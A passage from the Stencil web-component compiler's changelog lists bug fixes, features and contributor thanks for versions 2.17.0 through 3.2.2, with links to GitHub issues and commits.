([#4315](https://github.com/stenciljs/core/issues/4315)) ([0b6621f](https://github.com/stenciljs/core/commit/0b6621f21634b7498de0666a872ffcacc93fef87))\n\n\n\n## 🏒 [3.2.2](https://github.com/stenciljs/core/compare/v3.2.1...v3.2.2) (2023-05-01)\n\n\n### Bug Fixes\n\n* **declarations:** add `onCancel` to dialog attributes ([#4280](https://github.com/stenciljs/core/issues/4280)) ([725ff7e](https://github.com/stenciljs/core/commit/725ff7e5a4fac5aa5cd0adb263e484f2ada5cc40)), fixes [#4267](https://github.com/stenciljs/core/issues/4267)\n* **runtime:** initialize custom elements even when there is no styles ([#4296](https://github.com/stenciljs/core/issues/4296)) ([23f1e66](https://github.com/stenciljs/core/commit/23f1e66fb1a092266dfd17c31987499b2ece0b0d)), fixes [#4221](https://github.com/stenciljs/core/issues/4221)\n* **testing:** jest component disconnected callback ([#4269](https://github.com/stenciljs/core/issues/4269)) ([4ec3b69](https://github.com/stenciljs/core/commit/4ec3b694454fddfc71bf9999e31e1341e10117e2)), fixes [#4053](https://github.com/stenciljs/core/issues/4053)\n\n\n\n## 🎙 [3.2.1](https://github.com/stenciljs/core/compare/v3.2.0...v3.2.1) (2023-04-10)\n\n\n### Bug Fixes\n\n* **compiler:** sourcemap for dist-custom-elements generation ([#4200](https://github.com/stenciljs/core/issues/4200)) ([62ad269](https://github.com/stenciljs/core/commit/62ad269ca34f665e41bce825f54de9f81d5ed4a4))\n* **compiler:** write exports for defineCustomElement typedefs ([#4194](https://github.com/stenciljs/core/issues/4194)) ([89cd845](https://github.com/stenciljs/core/commit/89cd8456a6d274cb3e74e839c7fde228dcdcabc6))\n* **mock-doc:** add missing properties of object returned by matchMedia ([#2880](https://github.com/stenciljs/core/issues/2880)) ([69176f8](https://github.com/stenciljs/core/commit/69176f8290767c05206f324bccb5bea2cf780448))\n* **test:** fix infinite loops w/ react and @testing-library/dom ([#4188](https://github.com/stenciljs/core/issues/4188)) ([51750a2](https://github.com/stenciljs/core/commit/51750a28ece1638dae6bc5c02221d70f485bfb44)), closes [#3434](https://github.com/stenciljs/core/issues/3434)\n\n\n## Thanks\n\n🎉 Thanks for @cam-narzt for their contributions! 🎉\n\n\n# 🌷 [3.2.0](https://github.com/stenciljs/core/compare/v3.1.0...v3.2.0) (2023-03-14)\n\n\n### Bug Fixes\n\n* **cli:** support Jest-specific CLI flag aliases ([#4124](https://github.com/stenciljs/core/issues/4124)) ([56389a4](https://github.com/stenciljs/core/commit/56389a452d9b072976112ca6339d60b1aea9f73d))\n* **compiler:** use file system polling events in watch mode ([#4146](https://github.com/stenciljs/core/issues/4146)) ([4a12b06](https://github.com/stenciljs/core/commit/4a12b067f5dcc1048eeabe21fb551c071a3e67b4)), fixes [#3952](https://github.com/stenciljs/core/issues/3952), [#4011](https://github.com/stenciljs/core/issues/4011), [#4044](https://github.com/stenciljs/core/issues/4044)\n* **test:** support importing from ES modules in spec tests ([#4136](https://github.com/stenciljs/core/issues/4136)) ([23a73f0](https://github.com/stenciljs/core/commit/23a73f0954db1cbc14f3c1d630cc7b5f81382128)), closes [#3251](https://github.com/stenciljs/core/issues/3251)\n* **typo:** fix info task output ([#4099](https://github.com/stenciljs/core/issues/4099)) ([d88bf30](https://github.com/stenciljs/core/commit/d88bf3055123953cff8417c06cd07fc79680c76e))\n\n\n### Features\n\n* **config:** add enableImportInjection flag ([#4156](https://github.com/stenciljs/core/issues/4156)) ([2f23a8a](https://github.com/stenciljs/core/commit/2f23a8af5b0516218f352b41f6241bea96b28774))\n\n\n## Thanks\n\n🎉 Thanks for @sandrooco for their contributions! 🎉\n\n\n# 🍕 [3.1.0](https://github.com/stenciljs/core/compare/v3.0.1...v3.1.0) (2023-02-28)\n\n\n### Bug Fixes\n\n* **browser:** polyfill assert, process ([#4066](https://github.com/stenciljs/core/issues/4066)) ([d493987](https://github.com/stenciljs/core/commit/d49398715fd1ff1fd7eca261c1dd0d778081948c))\n* **runtime:** prevent null data-opts access ([#4101](https://github.com/stenciljs/core/issues/4101)) ([9526633](https://github.com/stenciljs/core/commit/9526633f1630478cc6e4ea45ab62550b064996e3)), closes [#2431](https://github.com/stenciljs/core/issues/2431)\n\n\n### Features\n\n* **compiler:** transform module aliases in emitted js, typedefs ([#4042](https://github.com/stenciljs/core/issues/4042)) ([7bccf68](https://github.com/stenciljs/core/commit/7bccf68ef6c92b6e074924be7e5cf01a60963b4f))\n* **testing:** add support for transforming path aliases in spec tests ([#4090](https://github.com/stenciljs/core/issues/4090)) ([92fbd1c](https://github.com/stenciljs/core/commit/92fbd1c4345ed6b1071b4b8de930dc9ffddf77f3))\n\n\n\n## 🍒 [3.0.1](https://github.com/stenciljs/core/compare/v3.0.0...v3.0.1) (2023-02-13)\n\n\n### Bug Fixes\n\n* **compiler:** ensure rollup outputs a single file for hydrateFactory ([#4023](https://github.com/stenciljs/core/issues/4023)) ([91092ab](https://github.com/stenciljs/core/commit/91092abaac9e16f66b3fa3285549099462fb0cd0))\n\n\n### Thanks\n\n🎉 Thanks for @George-Payne for their contributions! 🎉\n\n\n# 🍇 [3.0.0](https://github.com/stenciljs/core/compare/v2.22.2...v3.0.0) (2023-01-25)\n\n\n### Bug Fixes\n\n* **compiler:** fix 'destroy' callback naming ([#3289](https://github.com/stenciljs/core/issues/3289)) ([602b322](https://github.com/stenciljs/core/commit/602b3228b4a42c191a36f5db27154647f5aefb65))\n* **declarations:** correct event handler names for composition events ([#3777](https://github.com/stenciljs/core/issues/3777)) ([e09fdf8](https://github.com/stenciljs/core/commit/e09fdf81bd0fc105a5280fae12e1b654290f7518))\n* **runtime:** type autocapitalize property as a string ([#3692](https://github.com/stenciljs/core/issues/3692)) ([650a355](https://github.com/stenciljs/core/commit/650a3554873edbec6693d27e0f3e66e2756d3b09))\n* **runtime:** narrow onInput & onCapture event type ([#3135](https://github.com/stenciljs/core/issues/3135)) ([38198f7](https://github.com/stenciljs/core/commit/38198f786082e112f37f3c181467c7b286c9b41c))\n\n### Features\n\n* **api** remove `sys` parameter from `parseFlags` public API ([#3489](https://github.com/stenciljs/core/pull/3489)) ([674bf51](https://github.com/stenciljs/core/commit/674bf51ebc31269263dcc53549527142cb841be2))\n* **cli:** update configuration flag defaults for V3 ([#3502](https://github.com/stenciljs/core/issues/3502)) ([c78dd20](https://github.com/stenciljs/core/commit/c78dd20aa4765e1acb775da72c28991f7de2aa36))\n* **compiler:** remove inlineDynamicImports from custom elements targets ([#3897](https://github.com/stenciljs/core/issues/3897)) ([238b267](https://github.com/stenciljs/core/commit/238b26775449103567354b6e3a5eff3fd46678cb))\n* **compiler:** export custom types in compiled output ([#3710](https://github.com/stenciljs/core/issues/3710)) ([509869c](https://github.com/stenciljs/core/commit/509869c592f8e847e4b98ed2b20e424105ac6593))\n* **compiler** remove deprecated assetsDir field ([#3341](https://github.com/stenciljs/core/issues/3341)) ([6074a29](https://github.com/stenciljs/core/commit/6074a2909428849e717b73e5bd6946b220539c48))\n* **e2e:** add support for puppeteer v19 ([#3810](https://github.com/stenciljs/core/issues/3810)) ([0c3bb50](https://github.com/stenciljs/core/commit/0c3bb50fe8d8ca6f52e2da8b48a5ce3605b24a1d))\n* **node:** drop node 12 support ([#3302](https://github.com/stenciljs/core/issues/3302)) ([cb1f5fc](https://github.com/stenciljs/core/commit/cb1f5fc71132cfb6ac0637e202e6b23436441f70))\n* **output_targets:** remove legacy angular target ([#3493](https://github.com/stenciljs/core/issues/3493)) ([9916612b](https://github.com/stenciljs/core/commit/3b480c62cac18ecbf719e6df1fcf69fbd96c931d))\n* **output_targets:** remove `dist-custom-elements-bundle` ([#3579](https://github.com/stenciljs/core/pull/3579)) ([9916612](https://github.com/stenciljs/core/commit/9916612b8bdb10b3020a0385f8b57256264cfc64))\n* **output_targets:** add `CustomElementExportBehavior` to `dist-custom-elements` ([#3562](https://github.com/stenciljs/core/issues/3562)) ([8158b88](https://github.com/stenciljs/core/commit/8158b88d66b418bf7a8b3ed2cd3eea03d5b24208))\n* **output_targets:** add `defineCustomElements` method & signature typedef to `dist-custom-elements` ([#3619](https://github.com/stenciljs/core/issues/3619)) ([1cac95d](https://github.com/stenciljs/core/commit/1cac95d3b0c8af76e25962c217b6051806007dd6))\n* **output_targets:** moves `autoDefineCustomElements` to an export behavior for `dist-custom-elements` ([#3615](https://github.com/stenciljs/core/issues/3615)) ([b8ed386](https://github.com/stenciljs/core/commit/b8ed3867c9b7d8f259f60a88b7d62bc89adb443d))\n* **runtime:** Support for older browsers, including Internet Explorer 11 and Safari 10, has been marked as deprecated via:\n  * mark `dynamicImportShim` as deprecated ([#3895](https://github.com/stenciljs/core/pull/3895)) ([96d39a2](https://github.com/stenciljs/core/commit/96d39a203d2ad163b9c8cce5906d10ef34719b1d))\n  * mark `cssVarsShim` as deprecated ([#3894](https://github.com/stenciljs/core/pull/3894)) ([45f90ef](https://github.com/stenciljs/core/commit/45f90ef43e0d93225e35febf4e4f1a2663e0f4da))\n  * mark `shadowDomShim` as deprecated ([#3898](https://github.com/stenciljs/core/pull/3898)) ([f67fc6c](https://github.com/stenciljs/core/commit/f67fc6cef81fca4d9daa174ecef155c1c2dfc1ae))\n  * mark `safari10` as deprecated ([#3899](https://github.com/stenciljs/core/pull/3899)) ([a380947](https://github.com/stenciljs/core/commit/a3809472335b0f6137e259f364ecd9b7addef04a))\n* **testing:** puppeteer v10 support ([#2934](https://github.com/stenciljs/core/pull/2934)) ([09afd3f](https://github.com/stenciljs/core/commit/09afd3fed1ad1c294d6c1677c038287212b721d2))\n\n\n### BREAKING CHANGES\n\nSee [BREAKING_CHANGES.md - v3.0.0](./BREAKING_CHANGES.md#stencil-v300) for a comprehensive list of breaking changes.\n\nSee [the v3.0.0 Migration Guide](https://stenciljs.com/docs/introduction/upgrading-to-stencil-three) for a guide to migrate to Stencil v3.0.0.\n\n\n# 🍀 [3.0.0-rc.1](https://github.com/stenciljs/core/compare/v2.22.2...v3.0.0-rc.1) (2023-01-23)\n\n\nThis release includes all feature and bug fixes from all prior Stencil 3 pre-releases, and syncs the Stencil\n`v3.0.0-dev` branch with `main`.\n\n\n# ⭐️ [3.0.0-rc.0](https://github.com/stenciljs/core/compare/v2.22.1...v3.0.0-rc.0) (2023-01-17)\n\nThis release includes all feature and bug fixes from all prior Stencil 3 pre-releases, and as well as all features\nincluded in [Stencil v2.22.1](#-2221--2023-01-17-)\n\n\n# 🚚 [3.0.0-beta.1](https://github.com/stenciljs/core/compare/v2.21.0...v3.0.0-beta.1) (2023-01-09)\n\n\nThis release includes all feature and bug fixes from all prior Stencil 3 pre-releases, and syncs the Stencil\n`v3.0.0-dev` branch with `main`.\n\n\n# 👑 [3.0.0-beta.0](https://github.com/stenciljs/core/compare/v3.0.0-alpha.2...v3.0.0-beta.0) (2022-12-19)\n\n\n### Features\n\n* **compiler:** remove inlineDynamicImports from custom elements targets ([#3897](https://github.com/stenciljs/core/issues/3897)) ([90aa4f5](https://github.com/stenciljs/core/commit/90aa4f5a4b73ea12bf0fd527fd622c22d897217b))\n* **runtime:** Support for older browsers, including Internet Explorer 11 and Safari 10, has been marked as deprecated via:\n  * mark `dynamicImportShim` as deprecated ([#3895](https://github.com/stenciljs/core/pull/3895)) ([5fb32af](https://github.com/stenciljs/core/commit/5fb32afa253d43f48a01b077412f67682e282851))\n  * mark `cssVarsShim` as deprecated ([#3894](https://github.com/stenciljs/core/pull/3894)) ([d15972f](https://github.com/stenciljs/core/commit/d15972f0a7347d686262861ff6c0d726dfdb76ff))\n  * mark `shadowDomShim` as deprecated ([#3898](https://github.com/stenciljs/core/pull/3898)) ([cea184a](https://github.com/stenciljs/core/commit/cea184aa031a6e9a22c6a690c5824169d7295bce))\n  * mark `safari10` as deprecated ([#3899](https://github.com/stenciljs/core/pull/3899)) ([cd0a52d](https://github.com/stenciljs/core/commit/cd0a52d46d6a817eeee3c7fbcabbabcb9bb6ed52))\n\nThis release includes all feature and bug fixes from all prior Stencil 3 pre-releases, as well as the following\nunreleased Stencil v2 features:\n\n* **compiler:** copy doc block from component to generated types ([#3525](https://github.com/stenciljs/core/issues/3525)) ([2e4b1fc](https://github.com/stenciljs/core/commit/2e4b1fcdc0b3fd41928d27cf9ee525a15b02d617))\n* **typescript:** add support for typescript 4.9 ([#3863](https://github.com/stenciljs/core/issues/3863)) ([542c46a](https://github.com/stenciljs/core/commit/542c46a94400246f1b995df0840c918e080a9e57))\n\n\n\n# 🐙 [3.0.0-alpha.2](https://github.com/stenciljs/core/compare/v3.0.0-alpha.1...v3.0.0-alpha.2) (2022-12-12)\n\n\nThis release includes all feature and bug fixes from all prior Stencil 3 pre-releases, as well as the following\nunreleased Stencil v2 features:\n\n* **compiler:** copy doc block from component to generated types ([#3525](https://github.com/stenciljs/core/issues/3525)) ([2e4b1fc](https://github.com/stenciljs/core/commit/2e4b1fcdc0b3fd41928d27cf9ee525a15b02d617))\n* **typescript:** add support for typescript 4.9 ([#3863](https://github.com/stenciljs/core/issues/3863)) ([542c46a](https://github.com/stenciljs/core/commit/542c46a94400246f1b995df0840c918e080a9e57))\n\n\n\n# 🎷 [3.0.0-alpha.1](https://github.com/stenciljs/core/compare/v2.20.0...v3.0.0-alpha.1) (2022-12-05)\n\n\n### Features\n\n* **e2e:** add support for puppeteer v19 ([#3810](https://github.com/stenciljs/core/issues/3810)) ([22c7424](https://github.com/stenciljs/core/commit/22c74241ebb471123680d6629d7fa9c17b86c897))\n\n\n### Miscellaneous\n\nThis release includes all feature and bug fixes from\n- Prior Stencil 3 pre-releases\n- [Stencil v2.20.0](https://github.com/stenciljs/core/releases/tag/v2.20.0) and below\n\n\n# ☕️ [3.0.0-alpha.0](https://github.com/stenciljs/core/compare/v2.19.3...v3.0.0-alpha.0) (2022-11-28)\n\n\n### Bug Fixes\n\n* **compiler:** fix 'destroy' callback naming ([#3289](https://github.com/stenciljs/core/issues/3289)) ([b733e79](https://github.com/stenciljs/core/commit/b733e79743948a063275fe93bd49e02101cea532))\n* **declarations:** correct event handler names for composition events ([#3777](https://github.com/stenciljs/core/issues/3777)) ([4d6a842](https://github.com/stenciljs/core/commit/4d6a842bd1330d4b9857ab4bc77b82db92c77fe1))\n* **runtime:** type autocapitalize property as a string ([#3692](https://github.com/stenciljs/core/issues/3692)) ([2cec0a6](https://github.com/stenciljs/core/commit/2cec0a61c50f2831f9000059ab33968c235f7326))\n* **runtime:** narrow onInput & onCapture event type ([#3135](https://github.com/stenciljs/core/issues/3135)) ([8316a62](https://github.com/stenciljs/core/commit/8316a62f5767639e3b70661a0d6b902c9e6daf0b))\n\n\n### Features\n\n* **api** remove `sys` parameter from `parseFlags` public API ([#3489](https://github.com/stenciljs/core/pull/3489) ([b5db83c](https://github.com/stenciljs/core/commit/b5db83cfe933c6bfbe47aa7d1bd2b131f14f5a23)))\n* **cli:** update configuration flag defaults for V3 ([#3502](https://github.com/stenciljs/core/issues/3502)) ([7241968](https://github.com/stenciljs/core/commit/72419685e993935380349be27e4ed1fd9fac9d8b))\n* **compiler:** export custom types in compiled output ([#3710](https://github.com/stenciljs/core/issues/3710)) ([e52489e](https://github.com/stenciljs/core/commit/e52489e5851f06d742bf243c553490313ccf1321))\n* **compiler** remove deprecated assetsDir field ([#3341](https://github.com/stenciljs/core/issues/3341)) ([eb61f89](https://github.com/stenciljs/core/commit/eb61f896baade0d22e04298624dd32d2886173a8))\n* **node:** drop node 12 support ([#3302](https://github.com/stenciljs/core/issues/3302)) ([72779d9](https://github.com/stenciljs/core/commit/72779d9c31318c70bce99cabb8aec14e0a088493))\n* **output_targets:** remove legacy angular target ([#3493](https://github.com/stenciljs/core/issues/3493)) ([62bacc8](https://github.com/stenciljs/core/commit/62bacc8733669b5305a81f2c4676af9df33afb77))\n* **output_targets:** remove `dist-custom-elements-bundle` ([#3579](https://github.com/stenciljs/core/pull/3579)) ([3c97c0f](https://github.com/stenciljs/core/commit/3c97c0f61142dcb4d2d0dcfa92766493a0f307d3))\n* **output_targets:** add `CustomElementExportBehavior` to `dist-custom-elements` ([#3562](https://github.com/stenciljs/core/issues/3562)) ([c9a9366](https://github.com/stenciljs/core/commit/c9a936637acbf8a3244cd4266e1559f458bae19e))\n* **output_targets:** add `defineCustomElements` method & signature typedef to `dist-custom-elements` ([#3619](https://github.com/stenciljs/core/issues/3619)) ([7521e17](https://github.com/stenciljs/core/commit/7521e17c9b106dda60debfd02d80b9e90328e9ce))\n* **output_targets:** moves `autoDefineCustomElements` to an export behavior for `dist-custom-elements` ([#3615](https://github.com/stenciljs/core/issues/3615)) ([6b60ef3](https://github.com/stenciljs/core/commit/6b60ef34f0de17cf9328c30bd0cd004fb0ce0995))\n* **testing:** puppeteer v10 support ([#2934](https://github.com/stenciljs/core/issues/2934)) ([0c09aaa](https://github.com/stenciljs/core/commit/0c09aaacca8a1164e254edc58a7cc0357fb42fde))\n* **testing:** update puppeteer supported version ranges ([#3321](https://github.com/stenciljs/core/issues/3321)) ([81ab42f](https://github.com/stenciljs/core/commit/81ab42fb0152250c245fb7bde33b65ce875d9f8f))\n\n\n### BREAKING CHANGES\n\nSee [BREAKING_CHANGES.md - v3.0.0](./BREAKING_CHANGES.md#stencil-v300) for a comprehensive list of breaking changes.\n\nSee [the v3.0.0 Migration Guide](https://stenciljs.com/docs/introduction/upgrading-to-stencil-three) for a guide to migrate to Stencil v3.0.0.\n\n\n\n## 🎆 [2.22.3](https://github.com/stenciljs/core/compare/v2.22.2...v2.22.3) (2023-03-14)\n\n\n### Bug Fixes\n\n* **compiler:** use file system polling events in watch mode ([#4147](https://github.com/stenciljs/core/issues/4147)) ([7f3d514](https://github.com/stenciljs/core/commit/7f3d514c5a12e6563e315a834329da40026dd538)), fixes [#3952](https://github.com/stenciljs/core/issues/3952), [#4011](https://github.com/stenciljs/core/issues/4011), [#4044](https://github.com/stenciljs/core/issues/4044)\n\n\n## 🎈 [2.22.2](https://github.com/stenciljs/core/compare/v2.22.1...v2.22.2) (2023-01-23)\n\n\n### Bug Fixes\n\n* **runtime:** workaround for performance slowing in Chrome 109 ([#3995](https://github.com/stenciljs/core/issues/3995)) ([6544422](https://github.com/stenciljs/core/commit/65444226303bf2ccb678576b4fb57b4df35e0a18))\n\n\n\n## ✈️ [2.22.1](https://github.com/stenciljs/core/compare/v2.21.0...v2.22.1) (2023-01-17)\n\n\n### Note\n\nv2.22.0 was never published to NPM, nor GitHub. The team had originally intended to release v2.22.0 on 2023.01.17.\nHowever, the publish attempt occurred during an NPM outage (unbeknown to the team). The result of this outage left the\npackage 'marked' as published, although the publish did not succeed. v2.22.1 is identical to the version that the\nStencil team originally intended to release as v2.22.0.\n\n\n### Features\n\n* **runtime:** support for CSP nonces ([#3823](https://github.com/stenciljs/core/issues/3823), [#3955](https://github.com/stenciljs/core/issues/3955)) ([c91ed48](https://github.com/stenciljs/core/commit/c91ed48ddef36e77b3e7f0c26a47e527ce6b9dd6))\n\n\n\n# 🍟 [2.21.0](https://github.com/stenciljs/core/compare/v2.20.0...v2.21.0) (2023-01-04)\n\n\n### Features\n\n* **compiler:** copy doc block from component to generated types ([#3525](https://github.com/stenciljs/core/issues/3525)) ([2e4b1fc](https://github.com/stenciljs/core/commit/2e4b1fcdc0b3fd41928d27cf9ee525a15b02d617))\n* **typescript:** add support for typescript 4.9 ([#3863](https://github.com/stenciljs/core/issues/3863)) ([542c46a](https://github.com/stenciljs/core/commit/542c46a94400246f1b995df0840c918e080a9e57))\n\n\n### Thanks\n\n🎉 Thanks for @jgroth for their contributions! 🎉\n\n\n# 🍁 [2.20.0](https://github.com/stenciljs/core/compare/v2.19.3...v2.20.0) (2022-12-05)\n\n\n### Bug Fixes\n\n* **cli:** ensure that argument order is correct for Jest ([#3827](https://github.com/stenciljs/core/issues/3827)) ([eb44060](https://github.com/stenciljs/core/commit/eb440602d79396eebbf3f8a509f60f3e03417440))\n\n\n### Features\n\n* **typescript:** support typescript 4.8 ([#3743](https://github.com/stenciljs/core/issues/3743)) ([8fa35f2](https://github.com/stenciljs/core/commit/8fa35f2e12a5da09cf28e7b92103675164957d08))\n\n\n### Thanks\n\n🎉 Thanks for @PengBoUESTC for their contributions! 🎉\n\n\n## 🌏 [2.19.3](https://github.com/stenciljs/core/compare/v2.19.2...v2.19.3) (2022-11-15)\n\n\n### Bug Fixes\n\n* **cli:** refactor CLI argument parser ([#3765](https://github.com/stenciljs/core/issues/3765)) ([d34c4f2](https://github.com/stenciljs/core/commit/d34c4f24c27493197caeb2548a0652ef574f2be2)), closes [#3712](https://github.com/stenciljs/core/issues/3712)\n* **generate:** prevent type error when existing task ([#3793](https://github.com/stenciljs/core/issues/3793)) ([f553fde](https://github.com/stenciljs/core/commit/f553fdeaf256e02f084bd64b4329e77e634965a8))\n\n\n### Thanks\n\n🎉 Thanks for @PengBoUESTC and @boahc077 for their contributions! 🎉\n\n\n## 🍋 [2.19.2](https://github.com/stenciljs/core/compare/v2.19.2-0...v2.19.2) (2022-10-27)\n\n\n### Bug Fixes\n\n* **compiler:** account for an existing constructor in convert-decorators ([#3776](https://github.com/stenciljs/core/issues/3776)) ([7c92dbf](https://github.com/stenciljs/core/commit/7c92dbfe5888529619898ff7ed42d690a54d6eb5)), closes [#3773](https://github.com/stenciljs/core/issues/3773)\n\n\n\n## 🌵 [2.19.2-0](https://github.com/stenciljs/core/compare/v2.19.1...v2.19.2-0) (2022-10-27)\n\n\n### Bug Fixes\n\n* **compiler:** account for an existing constructor in convert-decorators ([#3776](https://github.com/stenciljs/core/issues/3776)) ([7c92dbf](https://github.com/stenciljs/core/commit/7c92dbfe5888529619898ff7ed42d690a54d6eb5)), closes [#3773](https://github.com/stenciljs/core/issues/3773)\n\n\n\n## 📻 [2.19.1](https://github.com/stenciljs/core/compare/v2.19.1-0...v2.19.1) (2022-10-26)\n\n\n### Bug Fixes\n\n* **docs:** avoid duplicating manual documentation ([#3766](https://github.com/stenciljs/core/issues/3766)) ([82d3596](https://github.com/stenciljs/core/commit/82d359673f65c87ff89980beb2f118b6169698ff)), closes [#3762](https://github.com/stenciljs/core/issues/3762)\n\n\n\n## 🐺 [2.19.1-0](https://github.com/stenciljs/core/compare/v2.19.0...v2.19.1-0) (2022-10-25)\n\n\n### Bug Fixes\n\n* **docs:** avoid duplicating manual documentation ([#3766](https://github.com/stenciljs/core/issues/3766)) ([82d3596](https://github.com/stenciljs/core/commit/82d359673f65c87ff89980beb2f118b6169698ff)), closes [#3762](https://github.com/stenciljs/core/issues/3762)\n\n\n\n# 💾 [2.19.0](https://github.com/stenciljs/core/compare/v2.18.1...v2.19.0) (2022-10-24)\n\n\n### Bug Fixes\n\n* **cli:** \"Browserslist: caniuse-lite is outdated\" spams output when buildEs5 is truthy ([#3649](https://github.com/stenciljs/core/issues/3649)) ([d30cf58](https://github.com/stenciljs/core/commit/d30cf5800c22d77d93bd68d9139877f89d524263))\n* **compiler:** update handling of decorators to support emitting ES2022+ ([#3614](https://github.com/stenciljs/core/issues/3614)) ([f977830](https://github.com/stenciljs/core/commit/f97783029274f9ee5ea58ba74ab15905c5113c93))\n* **jest:** adjust conversion of CLI args to Jest args ([#3730](https://github.com/stenciljs/core/issues/3730)) ([5b76a0a](https://github.com/stenciljs/core/commit/5b76a0a90527b290420506036efbbb7c8e8451a4)), closes [#3724](https://github.com/stenciljs/core/issues/3724)\n\n\n### Features\n\n* **docs-readme:** add overview to readme ([#3635](https://github.com/stenciljs/core/issues/3635)) ([2db4f4d](https://github.com/stenciljs/core/commit/2db4f4de62c9547ccafb1d382130fcf82fd9ebf4))\n\n\n## 😛 [2.18.1](https://github.com/stenciljs/core/compare/v2.18.0...v2.18.1) (2022-10-03)\n\n\n### Bug Fixes\n\n* **cli:** typo in telemetry command ([#3602](https://github.com/stenciljs/core/issues/3602)) ([3013f5e](https://github.com/stenciljs/core/commit/3013f5e9b03bf48db5c70472e7b4a3f89c444bfc))\n* **logger:** fix possibly-null property access in logger-typescript.ts ([#3627](https://github.com/stenciljs/core/issues/3627)) ([49ead11](https://github.com/stenciljs/core/commit/49ead1172b60385868a61ba958bb8bc8cb2fb15c)), partially fixes [#3443](https://github.com/stenciljs/core/issues/3443)\n\n\n\n# 🔥 [2.18.0](https://github.com/stenciljs/core/compare/v2.17.4...v2.18.0) (2022-09-12)\n\n\n### Bug Fixes\n\n* **collection:** properly transform imports ([#3523](https://github.com/stenciljs/core/issues/3523)) ([ac2c09e](https://github.com/stenciljs/core/commit/ac2c09e41ab1dee497a695e93b01ff434334883c))\n\n\n### Features\n\n* **loader:** add private field to loader's package.json ([#3566](https://github.com/stenciljs/core/issues/3566)) ([fc8efb3](https://github.com/stenciljs/core/commit/fc8efb3ae6f3aac50c2a7f6dc0d4283d37b27a2c))\n* **typescript:** add support for typescript v4.7 ([#3530](https://github.com/stenciljs/core/issues/3530)) ([1226e56](https://github.com/stenciljs/core/commit/1226e56169af916862e9f50e7fe35d6fac96d881))\n\n\n\n## 🐞 [2.17.4](https://github.com/stenciljs/core/compare/v2.17.3...v2.17.4) (2022-08-22)\n\n\n### Bug Fixes\n\n* **compiler:** don't break HMR by mangling CSS ([#3517](https://github.com/stenciljs/core/issues/3517)) ([f5b2b69](https://github.com/stenciljs/core/commit/f5b2b69c23de044825fccb054610a52a345415e4)), closes [#3461](https://github.com/stenciljs/core/issues/3461)\n* **task:** consider config sys in task runner ([#3518](https://github.com/stenciljs/core/issues/3518)) ([103ec60](https://github.com/stenciljs/core/commit/103ec6098a5367d0de26450e1010bddb7ae8e890)), closes [#3510](https://github.com/stenciljs/core/issues/3510)\n\n\n\n## 🌭 [2.17.3](https://github.com/stenciljs/core/compare/v2.17.2...v2.17.3) (2022-08-02)\n\n\n### Bug Fixes\n\n* **validation:** update module location suggestion ([#3508](https://github.com/stenciljs/core/issues/3508)) ([9ccde5e](https://github.com/stenciljs/core/commit/9ccde5e5b693e564326f6c3f1104a7e3ebf1d1b1)), closes [#3507](https://github.com/stenciljs/core/issues/3507)\n\n\n\n## 🍤 [2.17.2](https://github.com/stenciljs/core/compare/v2.17.2-0...v2.17.2) (2022-08-01)\n\n\n### Bug Fixes\n\n* **cli:** fix bug with parsing --fooBar=baz type CLI flags  ([#3483](https://github.com/stenciljs/core/issues/3483)) ([65f5275](https://github.com/stenciljs/core/commit/65f5275ea64ba8c733eb959b5cf0c83a271877dc)), closes [#3471](https://github.com/stenciljs/core/issues/3471) [#3481](https://github.com/stenciljs/core/issues/3481)\n* **cli:** remove usage of deprecated npm env var from arg parser ([#3486](https://github.com/stenciljs/core/issues/3486)) ([22d9858](https://github.com/stenciljs/core/commit/22d985807587f500124af06a6436985b203fbc42)), closes [#3482](https://github.com/stenciljs/core/issues/3482)\n* **compiler:** fix typedef file generated for dist-custom-elements ([#3468](https://github.com/stenciljs/core/issues/3468)) ([854d498](https://github.com/stenciljs/core/commit/854d498840c15c152b003f0ea3e96d98c97a991d))\n* **compiler:** update package.json validation for the 'module' field ([#3475](https://github.com/stenciljs/core/issues/3475)) ([47c4ccb](https://github.com/stenciljs/core/commit/47c4ccb032fd0be8927a23187ba6d560a1832b1e))\n* **mock-doc:** add missing methods to the element mock ([#3480](https://github.com/stenciljs/core/issues/3480)) ([835e00f](https://github.com/stenciljs/core/commit/835e00fb16073616a07a9d59e9696d4cfec4277b))\n\n### Features\n\n* **mock-doc:** dispatch blur and focus events ([#3449](https://github.com/stenciljs/core/issues/3449)) ([15520b7](https://github.com/stenciljs/core/commit/15520b7066b366078f79be95ccc59d33aeff40d9))\n\n## 🏜 [2.17.2-0](https://github.com/stenciljs/core/compare/v2.17.1...v2.17.2-0) (2022-07-19)\n\n\n### Bug Fixes\n\n* **compiler:** fix typedef file generated for dist-custom-elements ([#3468](https://github.com/stenciljs/core/issues/3468)) ([854d498](https://github.com/stenciljs/core/commit/854d498840c15c152b003f0ea3e96d98c97a991d))\n\n\n### Features\n\n* **mock-doc:** dispatch blur and focus events ([#3449](https://github.com/stenciljs/core/issues/3449)) ([15520b7](https://github.com/stenciljs/core/commit/15520b7066b366078f79be95ccc59d33aeff40d9))\n\n\n\n## 😊 [2.17.1](https://github.com/stenciljs/core/compare/v2.17.0...v2.17.1) (2022-07-11)\n\n\n### Bug Fixes\n\n* **cli:** add explicit support for Jest CLI arguments  ([#3444](https://github.com/stenciljs/core/issues/3444)) ([700b3a9](https://github.com/stenciljs/core/commit/700b3a9e010072db293a385eb90e30afc746cbef))\n* **compiler:** handle null window.location.origin ([#2813](https://github.com/stenciljs/core/issues/2813)) ([255cd66](https://github.com/stenciljs/core/commit/255cd6619e30e1af738f0690edb9e758871ed950))\n* **styles:** ensure styles are applied before paint ([#3452](https://github.com/stenciljs/core/issues/3452)) ([c47cec6](https://github.com/stenciljs/core/commit/c47cec6581d4409e8261b3516b78532b5c49d079))\n\n\n\n# 🚂 [2.17.0](https://github.com/stenciljs/core/compare/v2.16.1...v2.17.0) (2022-06-21)\n\n\n### Features\n\n* **compiler:** export all built components from index.js w/ dist-custom-elements ([ff0e8cc](https://github.com/stenciljs/core/commit/ff0e8cc54e5e68631cd83302d59b19f2626d43cb)), closes [#3368](https://github.com/stenciljs/core/issues/3368)\n* **compiler:** update generation of type declaration file w/ dist-custom-elements ([9d3bf15](https://github.com/stenciljs/core/commit/9d3bf154f99abbb6228df5456f318a49f8333362)), closes [#3368](https://github.com/stenciljs/core/issues/3368)\n* **mock-doc:** add matrix and tspan props for svgelement ([#3408](https://github.com/stenciljs/core/issues/3408)) ([d3b93c1](https://github.com/stenciljs/core/commit/d3b93c15902215e550f01f8beadbd4b1a40d6244))\n* **telemetry:** add stencil config to telemetry object ([#3401](https://github.com/stenciljs/core/issues/3401)) 